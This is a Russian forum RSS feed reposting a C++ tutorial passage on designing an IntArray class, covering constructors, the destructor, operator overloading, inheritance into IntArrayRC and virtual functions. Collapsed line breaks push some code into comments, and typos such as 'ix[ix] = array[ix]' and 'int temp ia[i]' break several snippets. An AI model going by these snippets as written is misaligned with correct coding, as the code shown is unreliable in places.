https://farounaga.forumbb.ru/ Форум Farounaga ru-ru Mon, 13 Jun 2011 12:44:47 +0400 MyBB/mybb.ru https://farounaga.forumbb.ru/viewtopic.php?pid=15#p15 <p>XD</p> mybb@mybb.ru (Farounaga) Mon, 13 Jun 2011 12:44:47 +0400 https://farounaga.forumbb.ru/viewtopic.php?pid=15#p15 https://farounaga.forumbb.ru/viewtopic.php?pid=8#p8 <p><strong>2.3. Объектный подход</strong></p> <p>В этом разделе мы спроектируем и реализуем абстракцию массива, используя механизм классов С++. Первоначальный вариант будет поддерживать только массив элементов типа int. Впоследствии при помощи шаблонов мы расширим наш массив для поддержки любых типов данных.</p> <p>Первый шаг состоит в том, чтобы определить, какие операции будет поддерживать наш массив. Конечно, было бы заманчиво реализовать все мыслимые и немыслимые операции, но невозможно сделать сразу все на свете. Поэтому для начала определим то, что должен уметь наш массив:</p> <p>обладать некоторыми знаниями о самом себе. Пусть для начала это будет знание собственного размера; <br />поддерживать операцию присваивания и операцию сравнения на равенство; <br />отвечать на некоторые вопросы, например: какова величина минимального и максимального элемента; содержит ли массив элемент с определенным значением; если да, то каков индекс первого встречающегося элемента, имеющего это значение; <br />сортировать сам себя. Пусть такая операция покажется излишней, все-таки реализуем ее в качестве дополнительного упражнения: ведь кому-то это может пригодиться. <br />Конечно, мы должны реализовать и базовые операции работы с массивом, а именно:Возможность задать размер массива при его создании. (Речь не идет о том, чтобы знать эту величину на этапе компиляции.) <br />Возможность проинициализировать массив некоторым набором значений. <br />Возможность обращаться к элементу массива по индексу. Пусть эта возможность реализуется с помощью стандартной операции взятия индекса. <br />Возможность обнаруживать обращения к несуществующим элементам массива и сигнализировать об ошибке. Не будем обращать внимание на тех потенциальных пользователей нашего класса, которые привыкли работать со встроенными массивами С и не считают данную возможность полезной – мы хотим создать такой массив, который был бы удобен в использовании даже самым неискушенным программистам на С++. <br />Кажется, мы перечислили достаточно потенциальных достоинств нашего будущего массива, чтобы загореться желанием немедленно приступить к его реализации. Как же это будет выглядеть на С++? В самом общем случае объявление класса выглядит следующим образом:</p> <p>class classname {<br />public:<br />&#160; &#160;// набор открытых операций<br />private:<br />&#160; &#160;// закрытые функции, обеспечивающие реализацию<br />};<br />class, public и private – это ключевые слова С++, а classname – имя, которое программист дал своему классу. Назовем наш проектируемый класс IntArray: на первом этапе этот массив будет содержать только целые числа. Когда мы научим его обращаться с данными любого типа, можно будет переименовать его в Array.<br />Определяя класс, мы создаем новый тип данных. На имя класса можно ссылаться точно так же, как на любой встроенный описатель типа. Можно создавать объекты этого нового типа аналогично тому, как мы создаем объекты встроенных типов:</p> <p>// статический объект типа IntArray<br />IntArray myArray;</p> <p>// указатель на динамический объект типа IntArrayIntArray *pArray = new IntArray;<br />Определение класса состоит из двух частей: заголовка (имя, предваренное ключевым словом class) и тела, заключенного в фигурные скобки. Заголовок без тела может служить объявлением класса.</p> <p>// объявление класса IntArray<br />// без определения его<br />class IntArray;<br />Тело класса состоит из определений членов и спецификаторов доступа – ключевых слов public, private и protected. (Пока мы ничего не будем говорить об уровне доступа protected.) Членами класса могут являться функции, которые определяют набор действий, выполняемых классом, и переменные, содержащие некие внутренние данные, необходимые для реализации класса. Функции, принадлежащие классу, называют функциями-членами или, по-другому, методами класса. Вот набор методов класса IntArray:</p> <p>class IntArray {<br />public:<br />&#160; &#160;// операции сравнения: #2b<br />&#160; &#160;bool operator== (const IntArray&amp;) const;<br />&#160; &#160;bool operator!= (const IntArray&amp;) const;<br />&#160; &#160;// операция присваивания: #2a&#160; &#160;IntArray&amp; operator= (const IntArray&amp;);<br />&#160; &#160;int size() const; // #1&#160; &#160;void sort(); // #4<br />&#160; &#160; &#160; int min() const; // #3a&#160; &#160;int max() const; // #3b<br />&#160; &#160;// функция find возвращает индекс первого&#160; &#160;// найденного элемента массива&#160; &#160;// или -1, если элементов не найдено<br />&#160; &#160;int find (int value) const; // #3c<br />private:&#160; &#160;// дальше идут закрытые члены,&#160; &#160;// обеспечивающие реализацию класса&#160; &#160;...}<br />Номера, указанные в комментариях при объявлениях методов, ссылаются на спецификацию класса, которую мы составили в начале данного раздела. Сейчас мы не будем объяснять смысл ключевого слова const, он не так уж важен для понимания того, что мы хотим продемонстрировать на данном примере. Будем считать, что это ключевое слово необходимо для правильной компиляции программы.<br />Именованная функция-член (например, min()) может быть вызвана с использованием одной из двух операций доступа к члену класса. Первая операция доступа, обозначаемая точкой (.), применяется к объектам класса, вторая – стрелка (-&gt;) – к указателям на объекты. Так, чтобы найти минимальный элемент в объекте, имеющем тип IntArray, мы должны написать:</p> <p>// инициализация переменной min_val<br />// минимальным элементом myArray<br />int min_val = myArray.min();<br />Чтобы найти минимальный элемент в динамически созданном объекте типа IntArray, мы должны написать:</p> <p>int min_val = pArray-&gt;min();<br />(Да, мы еще ничего не сказали о том, как же проинициализировать наш объект – задать его размер и наполнить элементами. Для этого служит специальная функция-член, называемая конструктором. Мы поговорим об этом чуть ниже.)<br />Операции применяются к объектам класса точно так же, как и к встроенным типам данных. Пусть мы имеем два объекта типа IntArray:</p> <p>IntArray myАrray0, myArray1;<br />Инструкции присваивания и сравнения с этими объектами выглядят совершенно обычным образом:</p> <p>// инструкция присваивания -<br />// вызывает функцию-член myArray0.operator=(myArray1)<br />myArray0 = myArray1;<br />// инструкция сравнения -<br />// вызывает функцию-член myArray0.operator==(myArray1)<br />if (myArray0 == myArray1)<br />&#160; &#160;cout &lt;&lt; &quot;Ура! Оператор присваивания сработал!\n&quot;;<br />Спецификаторы доступа public и private определяют уровень доступа к членам класса. К тем членам, которые перечислены после public, можно обращаться из любого места программы, а к тем, которые объявлены после private, могут обращаться только функции-члены данного класса. (Помимо функций-членов, существуют еще функции-друзья класса, но мы не будем говорить о них вплоть до раздела 15.2.)<br />В общем случае открытые члены класса составляют его открытый интерфейс, то есть набор операций, которые определяют поведение класса. Закрытые члены класса обеспечивают его скрытую реализацию.<br />Такое деление на открытый интерфейс и скрытую реализацию называют сокрытием информации, или инкапсуляцией. Это очень важная концепция программирования, мы еще поговорим о ней в следующих главах. В двух словах, эта концепция помогает решить следующие проблемы:</p> <p>если мы меняем или расширяем реализацию класса, то изменения можно выполнить так, что большинство пользовательских программ, использующих наш класс, их “не заметят”: модификации коснутся лишь скрытых членов (мы поговорим об этом в разделе 6.18); <br />если в реализации класса обнаруживается ошибка, то обычно для ее исправления достаточно проверить код, составляющий именно скрытую реализацию, а не весь код программы, где данный класс используется. <br />Какие же внутренние данные потребуются для реализации класса IntArray? Необходимо где-то сохранить размер массива и сами его элементы. Мы будем хранить их в массиве встроенного типа, память для которого выделяется динамически. Так что нам потребуется указатель на этот массив. Вот как будут выглядеть определения этих данных-членов:</p> <p>class IntArray {<br />public:<br />&#160; &#160;// ...<br />&#160; &#160;int size() const { return _size; }<br />private:<br />&#160; &#160;// внутренние данные-члены<br />&#160; &#160;int _size;<br />&#160; &#160;int *ia;<br />};<br />Поскольку мы поместили член _size в закрытую секцию, пользователь класса не имеет возможности обратиться к нему напрямую. Чтобы позволить внешней программе узнать размер массива, мы написали функцию-член size(), которая возвращает значение члена _size. Нам пришлось добавить символ подчеркивания к имени нашего скрытого члена _size, поскольку функция-член с именем size() уже определена. Члены класса – функции и данные – не могут иметь одинаковые имена.<br />Может показаться, что реализуя подобным образом доступ к скрытым данным класса, мы очень сильно проигрываем в эффективности. Сравним два выражения (предположим, что мы изменили спецификатор доступа члена _size на public):</p> <p>IntArray array;<br />int array_size = array.size();<br />array_size = array._size;<br />Действительно, вызов функции гораздо менее эффективен, чем прямой доступ к памяти, как во втором операторе. Так что же, принцип сокрытия информации заставляет нас жертвовать эффективностью?<br />На самом деле, нет. С++ имеет механизм встроенных (inline) функций. Текст встроенной функции подставляется компилятором в то место, где записано обращение к ней. (Это напоминает механизм макросов, реализованный во многих языках, в том числе и в С++. Однако есть определенные отличия, о которых мы сейчас говорить не будем.) Вот пример. Если у нас есть следующий фрагмент кода:</p> <p>for (int index=0; index&lt;array.size(); ++index)<br />// ...<br />то функция size() не будет вызываться _size раз во время исполнения. Вместо вызова компилятор подставит ее текст, и результат компиляции предыдущего кода будет в точности таким же, как если бы мы написали:</p> <p>for (int index=0; index&lt;array._size; ++index)<br />// ...<br />Если функция определена внутри тела класса (как в нашем случае), она автоматически считается встроенной. Существует также ключевое слово inline, позволяющее объявить встроенной любую функцию.<br />Мы до сих пор ничего не сказали о том, как будем инициализировать наш массив.<br />Одна из самых распространенных ошибок при программировании (на любом языке) состоит в том, что объект используется без предварительной инициализации. Чтобы помочь избежать этой ошибки, С++ обеспечивает механизм автоматической инициализации для определяемых пользователем классов – конструктор класса.<br />Конструктор – это специальная функция-член, которая вызывается автоматически при создании объекта типа класса. Конструктор пишется разработчиком класса, причем у одного класса может быть несколько конструкторов.<br />Функция-член класса, носящее то же имя, что и сам класс, считается конструктором. (Нет никаких специальных ключевых слов, позволяющих определить конструктор как-то по-другому.) Мы уже сказали, что конструкторов может быть несколько. Как же так: разные функции с одинаковыми именами?<br />В С++ это возможно. Разные функции могут иметь одно и то же имя, если у этих функций различны количество и/или типы параметров. Это называется перегрузкой функции. Обрабатывая вызов перегруженной функции, компилятор смотрит не только на ее имя, но и на список параметров. По количеству и типам передаваемых параметров компилятор может определить, какую же из одноименных функций нужно вызывать в данном случае. Рассмотрим пример. Мы можем определить следующий набор перегруженных функций min(). (Перегружаться могут как обычные функции, так и функции-члены.)</p> <p>// список перегруженных функций min()<br />// каждая функция отличается от других списком параметров<br />#include &lt;string&gt;<br />int min (const int *pia,int size);<br />int min (int, int);<br />int min (const char *str);<br />char min (string);<br />string min (string,string);<br />Поведение перегруженных функций во время выполнения ничем не отличается от поведения обычных. Компилятор определяет нужную функцию и помещает в объектный код именно ее вызов. (В главе 9 подробно обсуждается механизм перегрузки.)<br />Итак, вернемся к нашему классу IntArray. Давайте определим для него три конструктора:</p> <p>class IntArray {<br />public:<br />&#160; &#160;explicit IntArray (int sz = DefaultArraySize);<br />&#160; &#160;IntArray (int *array, int array_size);<br />&#160; &#160;IntArray (const IntArray &amp;rhs);<br />&#160; &#160;// ...<br />private:<br />&#160; &#160;static const int DefaultArraySize = 12;<br />}<br />Первый из перечисленных конструкторов</p> <p>IntArray (int sz = DefaultArraySize);<br />называется конструктором по умолчанию, потому что он может быть вызван без параметров. (Пока не будем объяснять ключевое слово explicit.) Если при создании объекта ему задается параметр типа int, например</p> <p>IntArray array1(1024);<br />то значение 1024 будет передано в конструктор. Если же размер не задан, допустим:<br />IntArray array2;<br />то в качестве значения отсутствующего параметра конструктор принимает величину DefaultArraySize. (Не будем пока обсуждать использование ключевого слова static в определении члена DefaultArraySize: об этом говорится в разделе 13.5. Скажем лишь, что такой член данных существует в единственном экземпляре и принадлежит одновременно всем объектам данного класса.)<br />Вот как может выглядеть определение нашего конструктора по умолчанию:</p> <p>IntArray::IntArray (int sz)<br />{<br />&#160; &#160;// инициализация членов данных<br />&#160; &#160;_size = sz;<br />&#160; &#160;ia = new int[_size];<br />&#160; &#160;// инициализация элементов массива&#160; &#160;for (int ix=0; ix&lt;_size; ++ix)&#160; &#160; &#160;ia[ix] = 0;}<br />Это определение содержит несколько упрощенный вариант реализации. Мы не позаботились о том, чтобы попытаться избежать возможных ошибок во время выполнения. Какие ошибки возможны? Во-первых, оператор new может потерпеть неудачу при выделении нужной памяти: в реальной жизни память не бесконечна. (В разделе 2.6 мы увидим, как обрабатываются подобные ситуации.) А во-вторых, параметр sz из-за небрежности программиста может иметь некорректное значение, например нуль или отрицательное.<br />Что необычного мы видим в таком определении конструктора? Сразу бросается в глаза первая строчка, в которой использована операция разрешения области видимости (::):</p> <p>IntArray::IntArray(int sz);<br />Дело в том, что мы определяем нашу функцию-член (в данном случае конструктор) вне тела класса. Для того чтобы показать, что эта функция на самом деле является членом класса IntArray, мы должны явно предварить имя функции именем класса и двойным двоеточием. (Подробно области видимости разбираются в главе 8; области видимости применительно к классам рассматриваются в разделе 13.9.)<br />Второй конструктор класса IntArray инициализирует объект IntArray значениями элементов массива встроенного типа. Он требует двух параметров: массива встроенного типа со значениями для инициализации и размера этого массива. Вот как может выглядеть создание объекта IntArray с использованием данного конструктора:</p> <p>int ia[10] = {0,1,2,3,4,5,6,7,8,9};<br />IntArray iA3(ia,10);<br />Реализация второго конструктора очень мало отличается от реализации конструктора по умолчанию. (Как и в первом случае, мы пока опустили обработку ошибочных ситуаций.)</p> <p>IntArray::IntArray (int *array, int sz)<br />{<br />&#160; &#160;// инициализация членов данных<br />&#160; &#160;_size = sz;<br />&#160; &#160;ia = new int[_size];<br />&#160; // инициализация элементов массива&#160; for (int ix=0; ix&lt;_size; ++ix)&#160; &#160; &#160;ia[ix] = array[ix];}<br />Третий конструктор называется копирующим конструктором. Он инициализирует один объект типа IntArray значением другого объекта IntArray. Такой конструктор вызывается автоматически при выполнении следующих инструкций:</p> <p>IntArray array;<br />// следующие два объявления совершенно эквивалентны:IntArray ia1 = array;IntArray ia2 (array);<br />Вот как выглядит реализация копирующего конструктора для IntArray, опять-таки без обработки ошибок:</p> <p>IntArray::IntArray (const IntArray &amp;rhs )<br />{<br />&#160; &#160;// инициализация членов данных<br />&#160; &#160;_size = rhs._size;<br />&#160; &#160;ia = new int[_size];<br />&#160; &#160;// инициализация элементов массива&#160; for (int ix=0; ix&lt;_size; ++ix)&#160; &#160; ia[ix] = rhs.ia[ix];}<br />В этом примере мы видим еще один составной тип данных – ссылку на объект, которая обозначается символом &amp;. Ссылку можно рассматривать как разновидность указателя: она также позволяет косвенно обращаться к объекту. Однако синтаксис их использования различается: для доступа к члену объекта, на который у нас есть ссылка, следует использовать точку, а не стрелку; следовательно, мы пишем rhs._size, а не rhs-&gt;_size. (Ссылки рассматриваются в разделе 3.6.)<br />Заметим, что реализация всех трех конструкторов очень похожа. Если один и тот же код повторяется в разных местах, желательно вынести его в отдельную функцию. Это облегчает и дальнейшую модификацию кода, и чтение программы. Вот как можно модернизировать наши конструкторы, если выделить повторяющийся код в отдельную функцию init():</p> <p>class IntArray {<br />public:<br />&#160; &#160;explicit IntArray (int sz = DefaultArraySize);<br />&#160; &#160;IntArray (int *array, int array_size);<br />&#160; &#160;IntArray (const IntArray &amp;rhs);<br />&#160; &#160;// ...<br />private:<br />&#160; &#160;void init (int sz,int *array);<br />&#160; &#160;// ...<br />};<br />// функция, используемая всеми конструкторами<br />void IntArray::init (int sz,int *array){&#160; _size = sz;&#160; ia = new int[_size];<br />&#160; for (int ix=0; ix&lt;_size; ++ix)<br />&#160; &#160; if ( !array )&#160; &#160; &#160; ia[ix] = 0;&#160; &#160; else&#160; &#160; &#160; ix[ix] = array[ix];}<br />// модифицированные конструкторыIntArray::IntArray (int sz) { init(sz,0); }IntArray::IntArray (int *array, int array_size)&#160; &#160; &#160; { init (array_size,array); }IntArray::IntArray (const IntArray &amp;rhs)&#160; &#160; &#160; { init (rhs._size,rhs.ia); }<br />Имеется еще одна специальная функция-член – деструктор, который автоматически вызывается в тот момент, когда объект прекращает существование. Имя деструктора совпадает с именем класса, только в начале идет символ тильды (~). Основное назначение данной функции – освободить ресурсы, отведенные объекту во время его создания и использования. Применение деструкторов помогает бороться с трудно обнаруживаемыми ошибками, ведущими к утечке памяти и других ресурсов. В случае класса IntArray эта функция-член должна освободить память, выделенную в момент создания объекта. (Подробно конструкторы и деструкторы описаны в главе 14.) Вот как выглядит деструктор для IntArray:</p> <p>class IntArray {<br />public:<br />&#160; &#160;// конструкторы<br />&#160; &#160;explicit IntArray (int sz = DefaultArraySize);<br />&#160; &#160;IntArray (int *array, int array_size);<br />&#160; &#160;IntArray (const IntArray &amp;rhs);<br />&#160; // деструктор&#160; ~IntArray() { delete[] ia; }&#160; // ...private:&#160; // ...};<br />Теперь нам нужно определить операции доступа к элементам массива IntArray. Мы хотим, чтобы обращение к элементам IntArray выглядело точно так же, как к элементам массива встроенного типа, с использованием оператора взятия индекса:</p> <p>IntArray array;<br />int last_pos = array.size()-1;<br />int temp = array[0];<br />array[0] = array[last_pos];<br />array[last_pos] = temp;<br />Для реализации доступа мы используем возможность перегрузки операций. Вот как выглядит функция, реализующая операцию взятия индекса:</p> <p>#include &lt;cassert&gt;<br />int&amp; IntArray::operator[] (int index){&#160; assert (index &gt;= 0 &amp;&amp; index &lt; _size);&#160; return ia[index];}<br />Обычно для проектируемого класса перегружают операции присваивания, операцию сравнения на равенство, возможно, операции сравнения по величине и операции ввода/вывода. Как и перегруженных функций, перегруженных операторов, отличающихся типами операндов, может быть несколько. К примеру, можно создать несколько операций присваивания объекту значения другого объекта того же самого или иного типа. Конечно, эти объекты должны быть более или менее “похожи”. (Подробно о перегрузке операций мы расскажем в главе 15, а в разделе 3.15 приведем еще несколько примеров.)<br />Определения класса, различных относящихся к нему констант и, быть может, каких-то еще переменных и макросов по принятым соглашениям помещаются в заголовочный файл, имя которого совпадает с именем класса. Для класса IntArray мы должны создать заголовочный файл IntArray.h. Любая программа, в которой будет использоваться класс IntArray, должна включать этот заголовочный файл директивой препроцессора #include.<br />По тому же самому соглашению функции-члены класса, определенные вне его описания, помещаются в файл с именем класса и расширением, обозначающим исходный текст С++ программы. Мы будем использовать расширение .С (напомним, что в разных системах вы можете встретиться с разными расширениями исходных текстов С++ программ) и назовем наш файл IntArray.C.</p> <p>Упражнение 2.5<br />Ключевой особенностью класса С++ является разделение интерфейса и реализации. Интерфейс представляет собой набор операций (функций), выполняемых объектом; он определяет имя функции, возвращаемое значение и список параметров. Обычно пользователь не должен знать об объекте ничего, кроме его интерфейса. Реализация скрывает алгоритмы и данные, нужные объекту, и может меняться при развитии объекта, никак не затрагивая интерфейс. Попробуйте определить интерфейсы для одного из следующих классов (выберите любой):<br />(a) матрица<br />(b) булевское значение<br />(c) паспортные данные человека<br />(d) дата<br />(e) указатель<br />(f) точка</p> <p>Упражнение 2.6<br />Попробуйте определить набор конструкторов, необходимых для класса, выбранного вами в предыдущем упражнении. Нужен ли деструктор для вашего класса? Помните, что на самом деле конструктор не создает объект: память под объект отводится до начала работы данной функции, и конструктор только производит определенные действия по инициализации объекта. Аналогично деструктор уничтожает не сам объект, а только те дополнительные ресурсы, которые могли быть выделены в результате работы конструктора или других функций-членов класса.</p> <p>Упражнение 2.7<br />В предыдущих упражнениях вы практически полностью определили интерфейс выбранного вами класса. Попробуйте теперь написать программу, использующую ваш класс. Удобно ли пользоваться вашим интерфейсом? Не хочется ли Вам пересмотреть спецификацию? Сможете ли вы сделать это и одновременно сохранить совместимость со старой версией?</p> <p><strong>2.4. Объектно-ориентированный подход</strong></p> <p>Вспомним спецификацию нашего массива в предыдущем разделе. Мы говорили о том, что некоторым пользователям может понадобиться упорядоченный массив, в то время как большинство, скорее всего, удовлетворится и неупорядоченным. Если представить себе, что наш массив IntArray упорядочен, то реализация таких функций, как min(), max(), find(), должна отличаться от их реализации для массива неупорядоченного большей эффективностью. Вместе с тем, для поддержания массива в упорядоченном состоянии все прочие функции должны быть сильно усложнены.<br />Мы выбрали наиболее общий случай – неупорядоченный массив. Но как же быть с теми немногочисленными пользователями, которым обязательно нужна функциональность массива упорядоченного? Мы должны специально для них создать другой вариант массива?<br />А вот и еще одна категория недовольных пользователей: их не удовлетворяют накладные расходы на проверку правильности индекса. Мы исходили из того, что корректность работы нашего класса превыше всего, и старались обезопасить себя от ошибочных ситуаций. Но возьмем, к примеру, разработчиков систем виртуальной реальности. Трехмерные изображения должны строиться с максимально возможной скоростью, быть может, за счет точности.<br />Да, мы можем удовлетворить и тех и других, создав для каждой группы пользователей свой, немного модернизированный, вариант IntArray. Более того, его даже не слишком трудно сделать, поскольку мы старались создать хорошую реализацию и необходимые изменения затронут совсем небольшие участки кода. Итак, копируем исходный текст, вносим необходимые изменения в нужные места и получаем три класса:</p> <p>// неупорядоченный массив без проверки границ индекса<br />class IntArray { ... };<br />// неупорядоченный массив с проверкой границ индексаclass IntArrayRC { ... };<br />// упорядоченный массив без проверки границ индексаclass IntSortedArray { ... };<br />Подобное решение имеет следующие недостатки:</p> <p>нам необходимо сопровождать три копии кода, различающиеся весьма незначительно. Хорошо бы выделить общие участки кода. Кроме упрощения сопровождения, это позволит использовать их впоследствии, если мы захотим создать еще один вариант массива, например упорядоченный с проверкой границ индекса; <br />если понадобится какая-то общая функция для обработки всех наших массивов, то нам придется написать три копии, поскольку типы ее параметров будут различаться: <br />void process_array (IntArray&amp;);<br />void process_array (IntArrayRC&amp;);<br />void process_array (IntSortedArray&amp;);<br />хотя реализация этих функций может быть совершенно идентичной. Было бы лучше написать единственную функцию, которая могла бы работать не только со всеми нашими массивами, но и с теми их вариациями, какие мы, возможно, реализуем впоследствии. <br />Парадигма объектно-ориентированного программирования позволяет осуществить все эти пожелания. Механизм наследования обеспечивает пожелания из первого пункта. Если один класс является потомком другого (например, IntArrayRC потомок класса IntArray), то наследник имеет возможность пользоваться всеми данными и функциями-членами, определенными в классе-предке. То есть класс IntArrayRC может просто использовать всю основную функциональность, предоставляемую классом IntArray, и добавить только то, что нужно ему для обеспечения проверки границ индекса.<br />В С++ класс, свойства которого наследуются, называют также базовым классом, а класс-наследник – производным классом, или подклассом базового. Класс и подкласс имеют общий интерфейс, предоставляемый базовым классом (т.к. подкласс имеет все функции-члены базового класса). Значит, программу, использующую только функции из этого общего интерфейса, не должен интересовать фактический тип объекта, с которым она работает, – базового ли типа этот объект или производного. В этом смысле общий интерфейс скрывает специфичные для подкласса детали. Отношения между классами и подклассами называются иерархией наследования классов. Вот как может выглядеть реализация функции swap(), которая меняет местами два указанных элемента массива. Первым параметром функции является ссылка на базовый класс IntArray:</p> <p>#include &lt;IntArray.h&gt;<br />void swap (IntArray &amp;ia, int i, int j)<br />{&#160; int temp ia[i];&#160; ia[i] = ia[j];&#160; ia[j] = temp;}<br />// ниже идут обращения к функции swap:IntArray ia;IntArrayRC iarc;IntSortedArray ias;// правильно - ia имеет тип IntArrayswap (ia,0,10);<br />// правильно - iarc является подклассом IntArrayswap (iarc,0,10);<br />// правильно - ias является подклассом IntArrayswap (ias,0,10);<br />// ошибка - string не является подклассом IntArraystring str(&quot;Это не IntArray!&quot;);swap (str,0,10);<br />Каждый из трех классов реализует операцию взятия индекса по-своему. Поэтому важно, чтобы внутри функции swap() вызывалась нужная операция взятия индекса. Так, если swap() вызвана для IntArrayRC:</p> <p>swap (iarc,0,10);<br />то должна вызываться функция взятия индекса для объекта класса IntArrayRC, а для</p> <p>swap (ias,0,10);<br />функция взятия индекса IntSortedArray. Именно это и обеспечивает механизм виртуальных функций С++.<br />Давайте попробуем сделать наш класс IntArray базовым для иерархии подклассов. Что нужно изменить в его описании? Синтаксически – совсем немного. Возможно, придется открыть для производных классов доступ к скрытым членам класса. Кроме того, те функции, которые мы собираемся сделать виртуальными, необходимо явно пометить специальным ключевым словом virtual. Основная же трудность состоит в таком изменении реализации базового класса, которая позволит ей лучше отвечать своей новой цели – служить базой для целого семейства подклассов.<br />При простом объектном подходе можно выделить двух разработчиков конечной программы – разработчик класса и пользователь класса (тот, кто использует данный класс в конечной программе), причем последний обращается только к открытому интерфейсу. Для такого случая достаточно двух уровней доступа к членам класса – открытого (public) и закрытого (private).<br />Если используется наследование, то к этим двум группам разработчиков добавляется третья, промежуточная. Производный класс может проектировать совсем не тот человек, который проектировал базовый, и для того чтобы реализовать класс-наследник, совсем не обязательно иметь доступ к реализации базового. И хотя такой доступ может потребоваться при проектировании подкласса, от конечного пользователя обоих классов эта часть по-прежнему должна быть закрыта. К двум уровням доступа добавляется третий, в некотором смысле промежуточный, – защищенный (protected). Члены класса, объявленные как защищенные, могут использоваться классами-потомками, но никем больше. (Закрытые члены класса недоступны даже для его потомков.)<br />Вот как выглядит модифицированное описание класса IntArray:</p> <p>class IntArray {<br />public:<br />&#160; &#160;// конструкторы<br />&#160; &#160;explicit IntArray (int sz = DefaultArraySize);<br />&#160; &#160;IntArray (int *array, int array_size);<br />&#160; &#160;IntArray (const IntArray &amp;rhs);<br />&#160; &#160;// виртуальный деструктор&#160; &#160;virtual ~IntArray() { delete[] ia; }<br />&#160; &#160;// операции сравнения:&#160; &#160;bool operator== (const IntArray&amp;) const;&#160; &#160;bool operator!= (const IntArray&amp;) const;<br />&#160; &#160;// операция присваивания:&#160; &#160;IntArray&amp; operator= (const IntArray&amp;);&#160; &#160;int size() const { return _size; };<br />&#160; &#160; &#160; // мы убрали проверку индекса...&#160; &#160;virtual int&amp; operator[](int index)&#160; &#160; &#160; { return ia[index]; }&#160; &#160;virtual void sort();<br />&#160; &#160;virtual int min() const;&#160; &#160;virtual int max() const;&#160; &#160;virtual int find (int value) const;<br />protected:&#160; &#160;static const int DefaultArraySize = 12;&#160; &#160;void init (int sz; int *array);<br />&#160; &#160;int _size;&#160; &#160;int *ia;}<br />Открытые функции-члены по-прежнему определяют интерфейс класса, как и в реализации из предыдущего раздела. Но теперь это интерфейс не только базового, но и всех производных от него подклассов.<br />Нужно решить, какие из членов, ранее объявленных как закрытые, сделать защищенными. Для нашего класса IntArray сделаем защищенными все оставшиеся члены.<br />Теперь нам необходимо определить, реализация каких функций-членов базового класса может меняться в подклассах. Такие функции мы объявим виртуальными. Как уже отмечалось выше, реализация операции взятия индекса будет отличаться по крайней мере для подкласса IntArrayRC. Реализация операторов сравнения и функции size() одинакова для всех подклассов, следовательно, они не будут виртуальными.<br />При вызове невиртуальной функции компилятор определяет все необходимое еще на этапе компиляции. Если же он встречает вызов виртуальной функции, то не пытается сделать этого. Выбор нужной из набора виртуальных функций (разрешение вызова) происходит во время выполнения программы и основывается на типе объекта, из которого она вызвана. Рассмотрим пример:</p> <p>void init (IntArray &amp;ia)<br />{<br />&#160; &#160;for (int ix=0; ix&lt;ia.size(); ++ix)<br />&#160; &#160; &#160; ia[ix] = ix;<br />}<br />Формальный параметр функции ia может быть ссылкой на IntArray, IntArrayRC или на IntSortedArray. Функция-член size() не является виртуальной и разрешается на этапе компиляции. А вот виртуальный оператор взятия индекса не может быть разрешен на данном этапе, поскольку реальный тип объекта, на который ссылается ia, в этот момент неизвестен.<br />(В главе 17 мы будем говорить о виртуальных функциях более подробно. Там мы рассмотрим также и накладные расходы, которые влечет за собой их использование.)<br />Вот как выглядит определение производного класса IntArrayRC:</p> <p>#ifndef IntArrayRC_H<br />#define IntArrayRC_H</p> <p>#include &quot;IntArray.h&quot;<br />class IntArrayRC : public IntArray {public:&#160; IntArrayRC( int sz = DefaultArraySize );&#160; IntArrayRC( const int *array, int array_size );&#160; IntArrayRC( const IntArrayRC &amp;rhs );<br />&#160; virtual int&amp; operator[]( int ) const;<br />private:&#160; void check_range( int ix );};<br />#endif<br />Этот текст мы поместим в заголовочный файл IntArrayRC.h. Обратите внимание на то, что в наш файл включен заголовочный файл IntArray.h.<br />В классе IntArrayRC мы должны реализовать только те особенности, которые отличают его от IntArray: класс IntArrayRC должен иметь свою собственную реализацию операции взятия индекса; функцию для проверки индекса и собственный набор конструкторов.<br />Все данные и функции-члены класса IntArray можно использовать в классе IntArrayRC так, как будто это его собственные члены. В этом и заключается смысл наследования. Синтаксически наследование выражается строкой</p> <p>class IntArrayRC : public IntArray<br />Эта строка показывает, что класс IntArrayRC произведен от класса IntArray, другими словами, наследует ему. Ключевое слово public в данном контексте говорит о том, что производный класс сохраняет открытый интерфейс базового класса, то есть что все открытые функции базового класса остаются открытыми и в производном. Объект типа IntArrayRC может использоваться вместо объекта типа IntArray, как, например, в приведенном выше примере с функцией swap(). Таким образом, подкласс IntArrayRC – это расширенная версия класса IntArray.<br />Вот как выглядит реализация операции взятия индекса:</p> <p>IntArrayRC::operator[]( int index )<br />{<br />&#160; &#160;check_range( index );<br />&#160; &#160;return _ia[ index ];<br />}<br />А вот реализация встроенной функции check_range():</p> <p>#include &lt;cassert&gt;<br />inline void IntArrayRC::check_range(int index)<br />{&#160; assert (index&gt;=0 &amp;&amp; index &lt; _size);}<br />(Мы говорили о макросе assert() в разделе 1.3.)<br />Почему проверка индекса вынесена в отдельную функцию, а не выполняется прямо в теле оператора взятия индекса? Потому что, если мы когда-нибудь потом захотим изменить что-то в реализации проверки, например написать свою обработку ошибок, а не использовать assert(), это будет сделать проще.<br />В каком порядке активизируются конструкторы при создании производного класса? Первым вызывается конструктор базового класса, инициализирующий те члены, которые входят в базовый класс. Затем начинает работать конструктор производного класса, где мы должны проинициализировать только те члены, которые являются специфичными для подкласса, то есть отсутствуют в базовом классе.<br />Однако заметим, что в нашем производном классе IntArrayRC нет новых членов, представляющих данные. Значит ли это, что нам не нужно реализовывать конструкторы для него? Ведь вся работа по инициализации членов данных уже проделана конструкторами базового класса.<br />На самом деле конструкторы, как и деструкторы или операторы присваивания, не наследуются – это правило языка С++. Кроме того, конструктор производного класса обеспечивает механизм передачи параметров конструктору базового класса. Рассмотрим пример. Пусть мы хотим создать объект класса IntArrayRC следующим образом:</p> <p>int ia[] = {0,1,1,2,3,5,8,13};<br />IntArrayRC iarc(ia,8);<br />Нам нужно передать параметры ia и 8 конструктору базового класса IntArray. Для этого служит специальная синтаксическая конструкция. Вот как выглядят реализации двух конструкторов IntArrayRC:</p> <p>inline IntArrayRC::IntArrayRC( int sz )<br />&#160; &#160;: IntArray( sz ) {}<br />inline IntArrayRC::IntArrayRC( const int *iar, int sz )&#160; &#160;: IntArray( iar, sz ) {}<br />(Мы будем подробно говорить о конструкторах в главах 14 и 17. Там же мы покажем, почему не нужно реализовывать конструктор копирования для IntArrayRC.)<br />Часть определения, следующая за двоеточием, называется списком инициализации членов. Именно здесь, указав конструктор базового класса, мы можем передать ему параметры. Тела обоих конструкторов пусты, поскольку их работа состоит исключительно в передаче параметров конструктору базового класса. Нам не нужно реализовывать деструктор для IntArrayRC, так как ему просто нечего делать. Точно так же, как при создании объекта производного типа 